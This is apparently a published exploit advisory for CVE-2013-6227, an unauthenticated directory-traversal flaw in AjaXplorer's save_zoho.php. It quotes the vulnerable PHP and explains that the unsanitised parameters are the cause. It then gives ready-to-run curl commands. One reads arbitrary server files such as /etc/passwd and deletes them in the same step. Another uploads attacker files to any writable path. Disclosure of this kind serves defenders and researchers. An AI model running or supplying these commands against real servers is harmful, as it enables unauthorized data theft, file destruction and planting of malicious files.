54 lines
No EOL
2.9 KiB
Text
54 lines
No EOL
2.9 KiB
Text
# Exploit Title: Unauthenticated Arbitrary File Upload Vulnerability In Pydio/AjaXplorer 5.0.3 – 3.3.5
|
||
# Date: 01/18/2019
|
||
# Exploit Author: @_jazz______
|
||
# Vendor Homepage: https://pydio.com/
|
||
# Software Link: https://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/stable-channel/4.2.3/ajaxplorer-core-4.2.3.tar.gz/download
|
||
# Version: ajaXplorer before 5.0.4
|
||
# Tested on: ajaXplorer 4.2.3 on Debian 9 update 5
|
||
# References: https://web.archive.org/web/20140430075145/http://www.redfsec.com/CVE-2013-6227
|
||
# CVE: CVE-2013-6227
|
||
###########################################################################################
|
||
Affected file:
|
||
/plugins/editor.zoho/agent/save_zoho.php
|
||
|
||
<?php
|
||
|
||
$vars = array_merge($_GET, $_POST);
|
||
|
||
if(!isSet($vars["ajxp_action"]) && isset($vars["id"]) && isset($vars["format"])){
|
||
$filezoho = $_FILES['content']["tmp_name"];
|
||
$cleanId = str_replace(array("..", "/"), "", $vars["id"]);
|
||
move_uploaded_file($filezoho, "files/".$cleanId.".".$vars["format"]);
|
||
}else if($vars["ajxp_action"] == "get_file" && isSet($vars["name"])){
|
||
if(file_exists("files/".$vars["name"])){
|
||
readfile("files/".$vars["name"]);
|
||
unlink("files/".$vars["name"]);
|
||
}
|
||
}
|
||
|
||
?>
|
||
|
||
Option 1: If "ajxp_action" is not set, upload "content" file to files/id.format.
|
||
The code does not sanitize "format" parameter before passing it as an argument to "move_uploaded_file",
|
||
thus introducing an opportunity to upload files to any arbitrary location via directory traversal
|
||
Note: User should have permission to write on the desired location.
|
||
|
||
Option 2: If "ajxp_action" is set to "get_file", read the file from "files/name" and then ERASE IT (unlink).
|
||
Again, the code does not sanitize the "name" parameter, making it also vulnerable to directory traversal.
|
||
|
||
"files" directory's location is by default /plugins/editor.zoho/agent/files
|
||
A default location for reading/uploading files is /data/files/
|
||
###########################################################################################
|
||
|
||
[1] [CAUTION!] Read arbitrary files
|
||
curl "http://<url>/<ajaxplorer_wwwroot>/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=<file_relative_path>"
|
||
|
||
e.g. curl "http://muralito.el.payaso/ajaxplorer/plugins/editor.zoho/agent/save_zoho.php?ajxp_action=get_file&name=../../../../../../../../etc/passwd"
|
||
|
||
[USE WITH CAUTION] This is a destructive function. Files retrieved WILL be erased after reading, provided that the file is writable by the user which the web server's process is running as.
|
||
|
||
[2] Arbitrary File Upload
|
||
*step 1 - Upload the file to the server*
|
||
# curl -F 'content=@<filename_from_attacker_host>;type=<filetype>;filename=\"<filename>\"' "http://<url>/<ajaxplorer_wwwroot>/plugins/editor.zoho/agent/save_zoho.php?id=&format=<upload_to_file_relative_path>"
|
||
|
||
e.g. # curl -F 'content=@test.html;type=text/html;filename=\"test.html\"' "http://muralito.el.payaso/ajaxplorer/plugins/editor.zoho/agent/save_zoho.php?id=&format=./../../../data/files/test.html" |